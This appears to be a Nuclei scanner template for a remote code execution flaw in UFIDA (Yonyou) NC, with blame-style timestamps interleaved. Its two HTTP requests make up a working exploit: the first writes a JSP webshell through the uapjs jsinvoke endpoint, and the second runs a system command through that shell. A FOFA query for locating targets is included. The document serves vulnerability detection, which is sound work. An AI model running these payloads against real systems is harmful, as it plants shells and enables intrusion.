2023-09-17 08:51:38 +00:00
id : CNVD-C-2023-76801
2023-08-18 03:22:06 +00:00
info :
2024-09-10 00:32:30 +00:00
name : UFIDA NC uapjs - Remote Code Execution
2024-09-10 00:22:04 +00:00
author : SleepingBag945,s4e-io
2023-08-18 03:22:06 +00:00
severity : critical
2024-09-10 08:50:03 +00:00
description : |
There is an arbitrary method calling vulnerability in UFIDA NC and NCC systems. By exploiting the vulnerability through uapjs (jsinvoke), dangerous methods can be called to cause attacks.
2024-09-10 00:22:04 +00:00
reference :
- https://mp.weixin.qq.com/s/8ZRrmUCD2bfznd1MyDDU8A
2023-09-18 12:45:28 +00:00
metadata :
2024-09-10 08:50:03 +00:00
verified : true
2023-09-18 12:45:28 +00:00
max-request : 2
2024-09-10 00:22:04 +00:00
fofa-query : app="用友-NC-Cloud"
2023-10-14 11:27:55 +00:00
tags : cnvd,cnvd2023,yonyou,rce,intrusive
2023-08-18 03:22:06 +00:00
2024-09-10 00:22:04 +00:00
variables :
filename : "{{rand_base(12)}}"
flow : http(1) && http(2)
2023-08-18 03:22:06 +00:00
http :
- raw :
- |
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host : {{Hostname}}
2024-09-10 00:22:04 +00:00
Content-type : application/x-www-form-urlencoded
{"serviceName" : "nc.itf.iufo.IBaseSPService" , "methodName" : "saveXStreamConfig" , "parameterTypes" : [ "java.lang.Object" , "java.lang.String" ] , "parameters" : [ "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}" , "webapps/nc_web/{{filename}}.jsp" ] }
matchers :
- type : dsl
dsl :
2024-09-10 08:50:03 +00:00
- "len(body)==0"
2024-09-10 00:22:04 +00:00
- 'status_code == 200'
internal : true
2023-08-18 03:22:06 +00:00
2024-09-10 00:22:04 +00:00
- raw :
2023-08-18 03:22:06 +00:00
- |
2024-09-10 00:22:04 +00:00
POST /{{filename}}.jsp?error=bsh.Interpreter HTTP/1.1
2023-08-18 03:22:06 +00:00
Host : {{Hostname}}
2024-09-10 00:22:04 +00:00
Content-type : application/x-www-form-urlencoded
cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ipconfig").getInputStream())
2023-08-18 03:22:06 +00:00
matchers :
- type : dsl
dsl :
2024-09-10 00:22:04 +00:00
- 'contains_all(body,"Windows", "<?xml", "DNS")'
- 'status_code == 200 || status_code == 404'
2023-08-18 03:22:06 +00:00
condition : and
2024-09-10 09:49:25 +00:00
# digest: 4b0a00483046022100a21d5c0aac454d1aa4f09bd6520a56bf881345a46af665d127655c0ab64ca995022100c0fbae12eb60b515d23864acc0aa4db16861b280619da913b14c9f2aaaaaf161:922c64590222798bb761d5b6d8e72950